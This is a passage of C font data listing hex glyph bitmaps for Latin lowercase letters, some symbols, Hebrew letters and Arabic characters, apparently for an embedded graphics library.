0x1, 0x9e, 0xfe, 0x70, 0x0, 0x0, 0x28, 0xf5,
0x0, 0x0, 0x0, 0xf8, 0x1c, 0x64, 0x49, 0xf3,
0x9, 0xdf, 0xfc, 0x40,
/* U+74 "t" */
0x4, 0x70, 0x0, 0x8, 0xf0, 0x0, 0x8, 0xf0,
0x0, 0x9f, 0xff, 0xfe, 0x19, 0xf2, 0x21, 0x8,
0xf0, 0x0, 0x8, 0xf0, 0x0, 0x8, 0xf0, 0x0,
0x8, 0xf0, 0x0, 0x7, 0xf0, 0x0, 0x5, 0xf6,
0x32, 0x0, 0x9e, 0xfe,
/* U+75 "u" */
0xac, 0x0, 0x0, 0xcb, 0xac, 0x0, 0x0, 0xcb,
0xac, 0x0, 0x0, 0xcb, 0xac, 0x0, 0x0, 0xcb,
0xac, 0x0, 0x0, 0xcb, 0x9d, 0x0, 0x0, 0xcb,
0x7e, 0x0, 0x1, 0xfb, 0x2f, 0x81, 0x2b, 0xfb,
0x5, 0xdf, 0xd5, 0xcb,
/* U+76 "v" */
0x5f, 0x20, 0x0, 0xb, 0xd0, 0xf8, 0x0, 0x1,
0xf7, 0x9, 0xe0, 0x0, 0x7f, 0x10, 0x3f, 0x40,
0xc, 0xb0, 0x0, 0xda, 0x2, 0xf5, 0x0, 0x8,
0xf0, 0x8f, 0x0, 0x0, 0x2f, 0x5e, 0xa0, 0x0,
0x0, 0xce, 0xf4, 0x0, 0x0, 0x6, 0xfe, 0x0,
0x0,
/* U+77 "w" */
0x3f, 0x30, 0x6, 0xf8, 0x0, 0x2f, 0x40, 0xe7,
0x0, 0xaf, 0xc0, 0x6, 0xf0, 0xb, 0xb0, 0xe,
0x8f, 0x0, 0xac, 0x0, 0x6f, 0x3, 0xf1, 0xf4,
0xe, 0x80, 0x2, 0xf4, 0x7c, 0xb, 0x82, 0xf4,
0x0, 0xe, 0x8b, 0x80, 0x7c, 0x6f, 0x0, 0x0,
0xac, 0xf4, 0x3, 0xfb, 0xc0, 0x0, 0x6, 0xff,
0x0, 0xf, 0xf8, 0x0, 0x0, 0x2f, 0xc0, 0x0,
0xbf, 0x40, 0x0,
/* U+78 "x" */
0xd, 0xc0, 0x0, 0x4f, 0x60, 0x3f, 0x80, 0x1e,
0xb0, 0x0, 0x7f, 0x4b, 0xe1, 0x0, 0x0, 0xbf,
0xf4, 0x0, 0x0, 0x5, 0xfc, 0x0, 0x0, 0x1,
0xec, 0xf6, 0x0, 0x0, 0xbe, 0x18, 0xf2, 0x0,
0x7f, 0x30, 0xc, 0xd0, 0x3f, 0x80, 0x0, 0x2f,
0x90,
/* U+79 "y" */
0x4f, 0x30, 0x0, 0xb, 0xc0, 0xe9, 0x0, 0x2,
0xf6, 0x7, 0xf0, 0x0, 0x8f, 0x0, 0x1f, 0x60,
0xe, 0x90, 0x0, 0xac, 0x5, 0xf2, 0x0, 0x3,
0xf3, 0xcc, 0x0, 0x0, 0xd, 0xcf, 0x50, 0x0,
0x0, 0x6f, 0xe0, 0x0, 0x0, 0x1, 0xf8, 0x0,
0x0, 0x0, 0x6f, 0x20, 0x0, 0x2, 0x4e, 0xb0,
0x0, 0x0, 0xbf, 0xc1, 0x0, 0x0,
/* U+7A "z" */
0x1f, 0xff, 0xff, 0xfb, 0x2, 0x22, 0x26, 0xf8,
0x0, 0x0, 0x1e, 0xb0, 0x0, 0x0, 0xcd, 0x10,
0x0, 0xa, 0xe2, 0x0, 0x0, 0x8f, 0x40, 0x0,
0x5, 0xf6, 0x0, 0x0, 0x2f, 0xb2, 0x22, 0x21,
0x5f, 0xff, 0xff, 0xfb,
/* U+7B "{" */
0x0, 0x9, 0xef, 0x30, 0x6, 0xf6, 0x20, 0x0,
0x8e, 0x0, 0x0, 0x9, 0xe0, 0x0, 0x0, 0x9d,
0x0, 0x0, 0xa, 0xd0, 0x0, 0x2, 0xe9, 0x0,
0xf, 0xfc, 0x10, 0x0, 0x25, 0xf8, 0x0, 0x0,
0xa, 0xd0, 0x0, 0x0, 0x9d, 0x0, 0x0, 0x9,
0xe0, 0x0, 0x0, 0x8e, 0x0, 0x0, 0x6, 0xf3,
0x0, 0x0, 0x1c, 0xff, 0x20, 0x0, 0x1, 0x20,
/* U+7C "|" */
0xf5, 0xf5, 0xf5, 0xf5, 0xf5, 0xf5, 0xf5, 0xf5,
0xf5, 0xf5, 0xf5, 0xf5, 0xf5, 0xf5, 0xf5, 0xf5,
/* U+7D "}" */
0xfe, 0xb1, 0x0, 0x2, 0x4f, 0x80, 0x0, 0x0,
0xbb, 0x0, 0x0, 0xb, 0xc0, 0x0, 0x0, 0xbc,
0x0, 0x0, 0xa, 0xd0, 0x0, 0x0, 0x7f, 0x40,
0x0, 0x0, 0xaf, 0xf2, 0x0, 0x5f, 0x73, 0x0,
0xa, 0xd0, 0x0, 0x0, 0xac, 0x0, 0x0, 0xb,
0xc0, 0x0, 0x0, 0xbb, 0x0, 0x0, 0x1e, 0x90,
0x0, 0xff, 0xd2, 0x0, 0x2, 0x10, 0x0, 0x0,
/* U+7E "~" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6d, 0xfe,
0xa5, 0x12, 0x7a, 0x4d, 0x64, 0x6b, 0xff, 0xfd,
0x31, 0x0, 0x0, 0x0, 0x31, 0x0,
/* U+5D0 "א" */
0x3f, 0x80, 0x0, 0x3f, 0x40, 0x8f, 0x30, 0x3,
0xf3, 0x0, 0xdd, 0x0, 0x3f, 0x20, 0x1b, 0xf8,
0x6, 0xf0, 0xc, 0xb8, 0xf6, 0xe8, 0x4, 0xf1,
0xc, 0xf7, 0x0, 0x7e, 0x0, 0x2f, 0x80, 0x8,
0xe0, 0x0, 0x7f, 0x30, 0x8e, 0x0, 0x0, 0xcd,
0x0,
/* U+5D1 "ב" */
0x5f, 0xff, 0xe8, 0x0, 0x0, 0x11, 0x25, 0xea,
0x0, 0x0, 0x0, 0x6, 0xf1, 0x0, 0x0, 0x0,
0x3f, 0x30, 0x0, 0x0, 0x3, 0xf4, 0x0, 0x0,
0x0, 0x3f, 0x40, 0x0, 0x0, 0x3, 0xf4, 0x0,
0x22, 0x22, 0x4f, 0x51, 0x5f, 0xff, 0xff, 0xff,
0x90,
/* U+5D2 "ג" */
0x1f, 0xd8, 0x0, 0x0, 0x14, 0xf7, 0x0, 0x0,
0x9, 0xd0, 0x0, 0x0, 0x7f, 0x0, 0x0, 0x7,
0xf0, 0x0, 0x0, 0x9f, 0x10, 0x0, 0xd, 0xf4,
0x1, 0x4a, 0xbe, 0x80, 0x4f, 0xc1, 0x9e, 0x0,
/* U+5D3 "ד" */
0x5f, 0xff, 0xff, 0xff, 0x30, 0x11, 0x11, 0xda,
0x10, 0x0, 0x0, 0xd, 0xa0, 0x0, 0x0, 0x0,
0xda, 0x0, 0x0, 0x0, 0xd, 0xa0, 0x0, 0x0,
0x0, 0xda, 0x0, 0x0, 0x0, 0xd, 0xa0, 0x0,
0x0, 0x0, 0xda, 0x0, 0x0, 0x0, 0xd, 0xa0,
0x0,
/* U+5D4 "ה" */
0x8f, 0xff, 0xfd, 0x70, 0x1, 0x11, 0x26, 0xf6,
0x0, 0x0, 0x0, 0x9c, 0x4, 0x0, 0x0, 0x7f,
0x5f, 0x10, 0x0, 0x7f, 0x6f, 0x10, 0x0, 0x7f,
0x6f, 0x10, 0x0, 0x7f, 0x6f, 0x10, 0x0, 0x7f,
0x6f, 0x10, 0x0, 0x7f,
/* U+5D5 "ו" */
0x8e, 0x8e, 0x8e, 0x8e, 0x8e, 0x8e, 0x8e, 0x8e,
0x8e,
/* U+5D6 "ז" */
0x5f, 0xff, 0xd0, 0x1c, 0x81, 0x3, 0xf2, 0x0,
0x6f, 0x10, 0x6, 0xf0, 0x0, 0x6f, 0x0, 0x6,
0xf0, 0x0, 0x6f, 0x0, 0x6, 0xf0, 0x0,
/* U+5D7 "ח" */
0x8f, 0xff, 0xfd, 0x70, 0x8e, 0x11, 0x26, 0xf7,
0x8e, 0x0, 0x0, 0x9d, 0x8e, 0x0, 0x0, 0x7f,
0x8e, 0x0, 0x0, 0x7f, 0x8e, 0x0, 0x0, 0x7f,
0x8e, 0x0, 0x0, 0x7f, 0x8e, 0x0, 0x0, 0x7f,
0x8e, 0x0, 0x0, 0x7f,
/* U+5D8 "ט" */
0x8e, 0x0, 0xcf, 0xd4, 0x8, 0xe0, 0x4, 0x3b,
0xe0, 0x8e, 0x0, 0x0, 0x3f, 0x48, 0xe0, 0x0,
0x0, 0xf7, 0x8e, 0x0, 0x0, 0xf, 0x77, 0xf0,
0x0, 0x0, 0xf6, 0x4f, 0x30, 0x0, 0x4f, 0x40,
0xde, 0x63, 0x6e, 0xc0, 0x1, 0xae, 0xfe, 0x91,
0x0,
/* U+5D9 "י" */
0xf8, 0xf8, 0xf8, 0xf8, 0xf8, 0x40,
/* U+5DA "ך" */
0x5f, 0xff, 0xd7, 0x0, 0x1, 0x13, 0x8f, 0x70,
0x0, 0x0, 0xa, 0xe0, 0x0, 0x0, 0x6, 0xf1,
0x0, 0x0, 0x5, 0xf2, 0x0, 0x0, 0x5, 0xf2,
0x0, 0x0, 0x5, 0xf2, 0x0, 0x0, 0x5, 0xf2,
0x0, 0x0, 0x5, 0xf2, 0x0, 0x0, 0x5, 0xf2,
0x0, 0x0, 0x5, 0xf2, 0x0, 0x0, 0x5, 0xf2,
/* U+5DB "כ" */
0x5f, 0xff, 0xd8, 0x0, 0x1, 0x12, 0x5d, 0xa0,
0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0, 0xf7,
0x0, 0x0, 0x0, 0xe8, 0x0, 0x0, 0x0, 0xf7,
0x0, 0x0, 0x4, 0xf3, 0x1, 0x12, 0x5d, 0xa0,
0x5f, 0xff, 0xd8, 0x0,
/* U+5DC "ל" */
0x28, 0x10, 0x0, 0x0, 0x5f, 0x20, 0x0, 0x0,
0x5f, 0x20, 0x0, 0x0, 0x5f, 0xff, 0xff, 0xfd,
0x1, 0x11, 0x12, 0xf9, 0x0, 0x0, 0x6, 0xf2,
0x0, 0x0, 0xc, 0xc0, 0x0, 0x0, 0x2f, 0x50,
0x0, 0x0, 0x9e, 0x0, 0x0, 0x0, 0xf8, 0x0,
0x0, 0x6, 0xf2, 0x0, 0x0, 0xc, 0xb0, 0x0,
/* U+5DD "ם" */
0x8f, 0xff, 0xfe, 0x90, 0x8, 0xe1, 0x12, 0x5e,
0x90, 0x8e, 0x0, 0x0, 0x7f, 0x8, 0xe0, 0x0,
0x4, 0xf2, 0x8e, 0x0, 0x0, 0x4f, 0x28, 0xe0,
0x0, 0x4, 0xf2, 0x8e, 0x0, 0x0, 0x4f, 0x28,
0xe2, 0x22, 0x25, 0xf2, 0x8f, 0xff, 0xff, 0xff,
0x20,
/* U+5DE "מ" */
0x1f, 0x90, 0xae, 0xfc, 0x20, 0x9, 0xea, 0xc2,
0x1c, 0xd0, 0x3, 0xff, 0x20, 0x4, 0xf3, 0x0,
0xfc, 0x0, 0x1, 0xf6, 0x0, 0xf8, 0x0, 0x0,
0xf6, 0x2, 0xf5, 0x0, 0x0, 0xf6, 0x5, 0xf2,
0x0, 0x0, 0xf6, 0x8, 0xf0, 0x1, 0x12, 0xf6,
0xb, 0xc0, 0xf, 0xff, 0xf6,
/* U+5DF "ן" */
0x8e, 0x8e, 0x8e, 0x8e, 0x8e, 0x8e, 0x8e, 0x8e,
0x8e, 0x8e, 0x8e, 0x8e,
/* U+5E0 "נ" */
0x1f, 0xea, 0x10, 0x14, 0xea, 0x0, 0x9, 0xe0,
0x0, 0x8e, 0x0, 0x8, 0xf0, 0x0, 0x8f, 0x0,
0x8, 0xf0, 0x22, 0x9f, 0x5f, 0xff, 0xf0,
/* U+5E1 "ס" */
0x8f, 0xff, 0xfe, 0x91, 0x8, 0xe3, 0x33, 0x6e,
0xd0, 0x8e, 0x0, 0x0, 0x3f, 0x48, 0xe0, 0x0,
0x0, 0xf7, 0x8e, 0x0, 0x0, 0xf, 0x77, 0xf0,
0x0, 0x1, 0xf6, 0x3f, 0x50, 0x0, 0x6f, 0x30,
0xcf, 0x64, 0x7f, 0xb0, 0x1, 0x9e, 0xfe, 0x90,
0x0,
/* U+5E2 "ע" */
0x2f, 0x50, 0x0, 0xf, 0x90, 0xea, 0x0, 0x0,
0xf9, 0x9, 0xe0, 0x0, 0xf, 0x80, 0x4f, 0x30,
0x0, 0xf7, 0x0, 0xf7, 0x0, 0x2f, 0x50, 0xb,
0xc0, 0x6, 0xf1, 0x0, 0x6f, 0x2, 0xe9, 0x0,
0x2, 0xfa, 0xea, 0x0, 0x5, 0xbf, 0xd5, 0x0,
0x4, 0xe9, 0x30, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0,
/* U+5E3 "ף" */
0x8f, 0xff, 0xfc, 0x50, 0x8e, 0x11, 0x39, 0xf3,
0x8e, 0x0, 0x0, 0xe9, 0x7f, 0x20, 0x0, 0xbc,
0x1d, 0xfe, 0x0, 0xac, 0x0, 0x21, 0x0, 0xac,
0x0, 0x0, 0x0, 0xac, 0x0, 0x0, 0x0, 0xac,
0x0, 0x0, 0x0, 0xac, 0x0, 0x0, 0x0, 0xac,
0x0, 0x0, 0x0, 0xac, 0x0, 0x0, 0x0, 0xac,
/* U+5E4 "פ" */
0x8f, 0xff, 0xeb, 0x30, 0x8, 0xe1, 0x24, 0xbf,
0x30, 0x8e, 0x0, 0x0, 0xbc, 0x6, 0xf2, 0x0,
0x6, 0xf0, 0x1d, 0xfe, 0x0, 0x5f, 0x10, 0x2,
0x10, 0x6, 0xf0, 0x0, 0x0, 0x0, 0xcc, 0x0,
0x11, 0x24, 0xaf, 0x30, 0x8f, 0xff, 0xfb, 0x30,
0x0,
/* U+5E5 "ץ" */
0x1e, 0xa0, 0x0, 0x7f, 0x4, 0xf5, 0x0, 0x8e,
0x0, 0x9e, 0x10, 0xbb, 0x0, 0x1e, 0x86, 0xf3,
0x0, 0x9, 0xfe, 0x50, 0x0, 0x6, 0xf1, 0x0,
0x0, 0x5, 0xf1, 0x0, 0x0, 0x5, 0xf1, 0x0,
0x0, 0x5, 0xf1, 0x0, 0x0, 0x5, 0xf1, 0x0,
0x0, 0x5, 0xf1, 0x0, 0x0, 0x5, 0xf1, 0x0,
/* U+5E6 "צ" */
0x1e, 0xb0, 0x0, 0x6f, 0x0, 0x5f, 0x60, 0x6,
0xf0, 0x0, 0xaf, 0x10, 0x7e, 0x0, 0x1, 0xeb,
0xa, 0xb0, 0x0, 0x5, 0xfb, 0xf3, 0x0, 0x0,
0xa, 0xf4, 0x0, 0x0, 0x0, 0x1e, 0xb0, 0x0,
0x11, 0x11, 0x7f, 0x60, 0x5f, 0xff, 0xff, 0xff,
0x0,
/* U+5E7 "ק" */
0x8f, 0xff, 0xff, 0xff, 0xf2, 0x1, 0x11, 0x11,
0x1c, 0xd0, 0x0, 0x0, 0x0, 0x1f, 0x70, 0x4,
0x0, 0x0, 0x8f, 0x10, 0x5f, 0x10, 0x0, 0xea,
0x0, 0x5f, 0x10, 0x4, 0xf3, 0x0, 0x5f, 0x10,
0xb, 0xd0, 0x0, 0x5f, 0x10, 0x1f, 0x60, 0x0,
0x5f, 0x10, 0x8f, 0x0, 0x0, 0x5f, 0x10, 0x0,
0x0, 0x0, 0x5f, 0x10, 0x0, 0x0, 0x0, 0x5f,
0x10, 0x0, 0x0, 0x0, 0x27, 0x0, 0x0, 0x0,
0x0,
/* U+5E8 "ר" */
0x5f, 0xff, 0xd9, 0x10, 0x1, 0x12, 0x5e, 0xc0,
0x0, 0x0, 0x4, 0xf4, 0x0, 0x0, 0x0, 0xf7,
0x0, 0x0, 0x0, 0xe9, 0x0, 0x0, 0x0, 0xe9,
0x0, 0x0, 0x0, 0xe9, 0x0, 0x0, 0x0, 0xe9,
0x0, 0x0, 0x0, 0xe9,
/* U+5E9 "ש" */
0x3f, 0x30, 0xf, 0x50, 0xd, 0x91, 0xf5, 0x1,
0xf4, 0x0, 0xf7, 0xf, 0x70, 0x4f, 0x10, 0x1f,
0x40, 0xda, 0x1b, 0xc0, 0x4, 0xf1, 0xb, 0xff,
0xd2, 0x0, 0x8d, 0x0, 0x9e, 0x10, 0x0, 0xd,
0x80, 0x7, 0xf0, 0x0, 0x9, 0xf1, 0x0, 0x5f,
0x42, 0x5c, 0xf4, 0x0, 0x2, 0xff, 0xfd, 0x82,
0x0, 0x0,
/* U+5EA "ת" */
0x7f, 0xff, 0xff, 0xd8, 0x0, 0x3, 0xf6, 0x12,
0x6f, 0x70, 0x2, 0xf5, 0x0, 0x9, 0xe0, 0x2,
0xf5, 0x0, 0x6, 0xf0, 0x2, 0xf5, 0x0, 0x6,
0xf0, 0x2, 0xf5, 0x0, 0x6, 0xf1, 0x2, 0xf4,
0x0, 0x6, 0xf1, 0x17, 0xf1, 0x0, 0x6, 0xf1,
0xde, 0x70, 0x0, 0x6, 0xf1,
/* U+606 "؆" */
0x0, 0x1, 0x51, 0x53, 0x30, 0x0, 0x0, 0xe7,
0xb8, 0x50, 0xd9, 0x0, 0x9f, 0xcc, 0x10, 0xd,
0x0, 0x58, 0x0, 0x0, 0x7, 0x60, 0x3a, 0x0,
0x0, 0x1, 0xc0, 0x2b, 0x0, 0x0, 0x0, 0xb2,
0x14, 0x0, 0x0, 0x0, 0x58, 0x0, 0x5, 0x50,
0x0, 0xd, 0x0, 0xe, 0xa5, 0x0, 0x9, 0x40,
0x4f, 0x10, 0x0, 0x2, 0xa0, 0xab, 0x0, 0x0,
0x0, 0xc2, 0xf5, 0x0, 0x0, 0x0, 0x6d, 0xf0,
0x0, 0x0, 0x0, 0x1f, 0x90, 0x0, 0x0, 0x0,
0xa, 0x30, 0x0,
/* U+607 "؇" */
0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0xa,
0xb2, 0x0, 0xc9, 0x0, 0x3c, 0x10, 0x0, 0xc,
0x0, 0x3d, 0x90, 0x0, 0x7, 0x60, 0xb4, 0x1,
0x0, 0x1, 0xc0, 0x3c, 0xca, 0x0, 0x0, 0xb2,
0x0, 0x0, 0x0, 0x0, 0x59, 0x0, 0xb, 0xd5,
0x0, 0xd, 0x0, 0x1f, 0x51, 0x0, 0x8, 0x50,
0x6f, 0x0, 0x0, 0x2, 0xb0, 0xca, 0x0, 0x0,
0x0, 0xc4, 0xf4, 0x0, 0x0, 0x0, 0x6e, 0xe0,
0x0, 0x0, 0x0, 0x1f, 0x90, 0x0, 0x0, 0x0,
0xa, 0x30, 0x0,
/* U+609 "؉" */
0xd9, 0x0, 0xe, 0x40, 0x0, 0xc8, 0x0, 0x7c,
0x0, 0x0, 0x0, 0x1, 0xe3, 0x0, 0x0, 0x0,
0x8, 0xb0, 0x0, 0x0, 0x0, 0x1f, 0x30, 0x0,
0x0, 0x0, 0x9a, 0x0, 0x0, 0x0, 0x2, 0xf2,
0x0, 0x0, 0x0, 0xa, 0x90, 0x0, 0x0, 0x0,
0x2f, 0x10, 0xe, 0x60, 0x6e, 0xb8, 0x0, 0xf,
0x70, 0x7f,
/* U+60A "؊" */
0xd9, 0x0, 0xe, 0x40, 0x0, 0x0, 0x0, 0xc8,
0x0, 0x7c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1,
0xe3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x30, 0x0,
0x0, 0x0, 0x0, 0x0, 0x9a, 0x0, 0x0, 0x0,
0x0, 0x0, 0x2, 0xf2, 0x0, 0x0, 0x0, 0x0,
0x0, 0xa, 0x90, 0x0, 0x0, 0x0, 0x0, 0x0,
0x2f, 0x10, 0xe, 0x60, 0x6e, 0x0, 0xe7, 0xb8,
0x0, 0xf, 0x70, 0x7f, 0x0, 0xf7,
/* U+60C "،" */
0x2, 0xc0, 0xba, 0x2f, 0x64, 0xf5,
/* U+615 "ؕ" */
0x0, 0x0, 0x0, 0x6, 0x60, 0x0, 0x6, 0x65,
0x50, 0x6, 0xd6, 0xe0, 0xd, 0xdc, 0x70,
/* U+61B "؛" */
0x4, 0xd0, 0xc9, 0x3f, 0x63, 0xd4, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x4f, 0x54, 0xf5,
/* U+61F "؟" */
0x8, 0xef, 0xd8, 0x17, 0xf9, 0x57, 0xd6, 0xcd,
0x0, 0x0, 0x1b, 0xe0, 0x0, 0x0, 0x3f, 0xa0,
0x0, 0x0, 0x4f, 0x90, 0x0, 0x0, 0x5f, 0x30,
0x0, 0x1, 0xf6, 0x0, 0x0, 0xd, 0x50, 0x0,
0x0, 0x0, 0x0, 0x0, 0x1f, 0x70, 0x0, 0x1,
0xf7, 0x0,
/* U+621 "ء" */
0x0, 0x0, 0x0, 0x9, 0xff, 0x90, 0x6f, 0x95,
0x40, 0xad, 0x0, 0x0, 0x8f, 0x40, 0x11, 0x1a,
0xff, 0xf3, 0x5c, 0xfe, 0x70, 0x9a, 0x40, 0x0,
/* U+622 "آ" */
0x19, 0x40, 0x19, 0x8, 0x5a, 0xdb, 0x50, 0x0,
0x0, 0x0, 0x0, 0x7, 0xf0, 0x0, 0x0, 0x7f,
0x0, 0x0, 0x7, 0xf0, 0x0, 0x0, 0x7f, 0x0,
0x0, 0x7, 0xf0, 0x0, 0x0, 0x7f, 0x0, 0x0,
0x7, 0xf0, 0x0, 0x0, 0x7f, 0x0, 0x0, 0x7,
0xf0, 0x0, 0x0, 0x7f, 0x0, 0x0, 0x7, 0xf0,
0x0, 0x0, 0x7f, 0x0, 0x0,
/* U+623 "أ" */
0x9, 0xc3, 0x1b, 0x0, 0xd, 0xb6, 0x17, 0x30,
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
/* U+624 "ؤ" */
0x0, 0x5, 0xc7, 0x0, 0x0, 0xc, 0x0, 0x0,
0x0, 0x9, 0xa7, 0x0, 0x0, 0xb, 0x94, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0xed, 0x40,
0x0, 0x6f, 0xac, 0xf1, 0x0, 0x9e, 0x1, 0xf6,
0x0, 0x6f, 0xa6, 0xf7, 0x0, 0x8, 0xdf, 0xf7,
0x0, 0x0, 0x4, 0xf4, 0x0, 0x0, 0x2e, 0xe0,
0x12, 0x48, 0xef, 0x30, 0xaf, 0xff, 0xa2, 0x0,
0x34, 0x20, 0x0, 0x0,
/* U+625 "إ" */
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0, 0x7, 0xf0,
0x9, 0xc3, 0x1b, 0x0, 0xd, 0xb6, 0x16, 0x20,
/* U+626 "ئ" */
0x1, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x66, 0x0,
0x0, 0x0, 0x0, 0x3, 0xeb, 0x20, 0x0, 0x0,
0x0, 0x35, 0x20, 0x6d, 0xfe, 0x70, 0x0, 0x0,
0x4f, 0x94, 0x7f, 0x40, 0x0, 0x5, 0xf7, 0x0,
0x10, 0x12, 0x0, 0x9, 0xfe, 0x80, 0xc, 0xa0,
0x0, 0x2, 0x7e, 0xb0, 0xf7, 0x0, 0x0, 0x0,
0xaf, 0xd, 0xc0, 0x0, 0x2, 0x9f, 0x90, 0x4f,
0xfc, 0xcf, 0xff, 0x90, 0x0, 0x28, 0xba, 0x85,
0x10, 0x0,
/* U+627 "ا" */
0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f,
0x7f, 0x7f, 0x7f, 0x7f,
/* U+628 "ب" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x5b, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x9c, 0xf7, 0x0, 0x0,
0x0, 0x0, 0xc, 0xbd, 0xb0, 0x0, 0x0, 0x0,
0x2a, 0xf4, 0x5f, 0xd8, 0x66, 0x8a, 0xdf, 0xe5,
0x0, 0x3a, 0xef, 0xfe, 0xc9, 0x50, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x89, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0,
/* U+629 "ة" */
0xf, 0x3f, 0x10, 0x0, 0x20, 0x20, 0x0, 0x0,
0x10, 0x0, 0x2, 0xef, 0xd5, 0x0, 0xae, 0x5a,
0xf7, 0xd, 0x90, 0x7, 0xf1, 0xe8, 0x0, 0x3f,
0x3b, 0xe6, 0x6d, 0xe0, 0x2b, 0xfe, 0x91, 0x0,
/* U+62A "ت" */
0x0, 0x0, 0x8a, 0x99, 0x0, 0x0, 0x5, 0x70,
0x1, 0x11, 0x10, 0x0, 0x9c, 0xe8, 0x0, 0x0,
0x0, 0x0, 0xb, 0xce, 0xa0, 0x0, 0x0, 0x0,
0x7, 0xf7, 0x7f, 0xd8, 0x66, 0x79, 0xcf, 0xf8,
0x0, 0x4a, 0xef, 0xfe, 0xc9, 0x61, 0x0,
/* U+62B "ث" */
0x0, 0x0, 0x8, 0x90, 0x0, 0x0, 0x0, 0x0,
0x0, 0x11, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8a,
0x99, 0x0, 0x0, 0x5, 0x70, 0x1, 0x11, 0x10,
0x0, 0x9c, 0xe8, 0x0, 0x0, 0x0, 0x0, 0xb,
0xce, 0xa0, 0x0, 0x0, 0x0, 0x7, 0xf7, 0x7f,
0xd8, 0x66, 0x79, 0xcf, 0xf8, 0x0, 0x4a, 0xef,
0xfe, 0xc9, 0x61, 0x0,
/* U+62C "ج" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0x98, 0x5b, 0xfe, 0xb6, 0x0, 0x0,
0xbf, 0x70, 0x0, 0x0, 0x7, 0xf4, 0x0, 0x0,
0x0, 0xf, 0x80, 0x0, 0x0, 0x0, 0x4f, 0x20,
0x2, 0x0, 0x0, 0x6f, 0x0, 0xf, 0x30, 0x0,
0x5f, 0x20, 0x0, 0x0, 0x0, 0x1f, 0x90, 0x0,
0x0, 0x0, 0x7, 0xfa, 0x41, 0x14, 0xa4, 0x0,
0x5d, 0xff, 0xff, 0xc2, 0x0, 0x0, 0x13, 0x31,
0x0,
/* U+62D "ح" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x9e, 0xed, 0xff,
0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41, 0x0, 0x3,
0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0, 0x0, 0x0,
0x0, 0x3f, 0x30, 0x0, 0x0, 0x0, 0x6f, 0x0,
0x0, 0x0, 0x0, 0x5f, 0x10, 0x0, 0x0, 0x0,
0x1f, 0x80, 0x0, 0x0, 0x0, 0x8, 0xf9, 0x31,
0x14, 0x94, 0x0, 0x6d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+62E "خ" */
0x0, 0x7, 0xa0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9e,
0xed, 0xff, 0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41,
0x0, 0x3, 0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0,
0x0, 0x0, 0x0, 0x3f, 0x30, 0x0, 0x0, 0x0,
0x6f, 0x0, 0x0, 0x0, 0x0, 0x5f, 0x10, 0x0,
0x0, 0x0, 0x1f, 0x80, 0x0, 0x0, 0x0, 0x8,
0xf9, 0x31, 0x14, 0x94, 0x0, 0x6d, 0xff, 0xff,
0xc2, 0x0, 0x0, 0x13, 0x31, 0x0,
/* U+62F "د" */
0x0, 0x2e, 0xa0, 0x0, 0x0, 0x3f, 0x70, 0x0,
0x0, 0x9e, 0x0, 0x0, 0x5, 0xf2, 0x0, 0x0,
0x7f, 0x10, 0x96, 0xaf, 0xb0, 0xd, 0xfe, 0x90,
0x0,
/* U+630 "ذ" */
0x0, 0x7b, 0x0, 0x0, 0x1, 0x10, 0x0, 0x0,
0x13, 0x0, 0x0, 0x1, 0xdc, 0x0, 0x0, 0x2,
0xf8, 0x0, 0x0, 0x8, 0xe0, 0x0, 0x0, 0x4f,
0x20, 0x0, 0x8, 0xf1, 0x9, 0x7a, 0xfb, 0x0,
0xdf, 0xe8, 0x0,
/* U+631 "ر" */
0x0, 0x0, 0x0, 0xa5, 0x0, 0x0, 0x0, 0xba,
0x0, 0x0, 0x0, 0xab, 0x0, 0x0, 0x0, 0xca,
0x0, 0x0, 0x3, 0xf6, 0x0, 0x0, 0x4e, 0xd0,
0x14, 0x6c, 0xfd, 0x20, 0xaf, 0xfc, 0x60, 0x0,
0x33, 0x10, 0x0, 0x0,
/* U+632 "ز" */
0x0, 0x0, 0x1, 0xf0, 0x0, 0x0, 0x0, 0x20,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc7,
0x0, 0x0, 0x0, 0xbb, 0x0, 0x0, 0x0, 0xab,
0x0, 0x0, 0x0, 0xda, 0x0, 0x0, 0x4, 0xf5,
0x0, 0x0, 0x4f, 0xd0, 0x14, 0x6c, 0xfd, 0x20,
0xaf, 0xfc, 0x60, 0x0, 0x33, 0x10, 0x0, 0x0,
/* U+633 "س" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3,
0xf3, 0x0, 0x0, 0x0, 0xd, 0x90, 0x4, 0xf2,
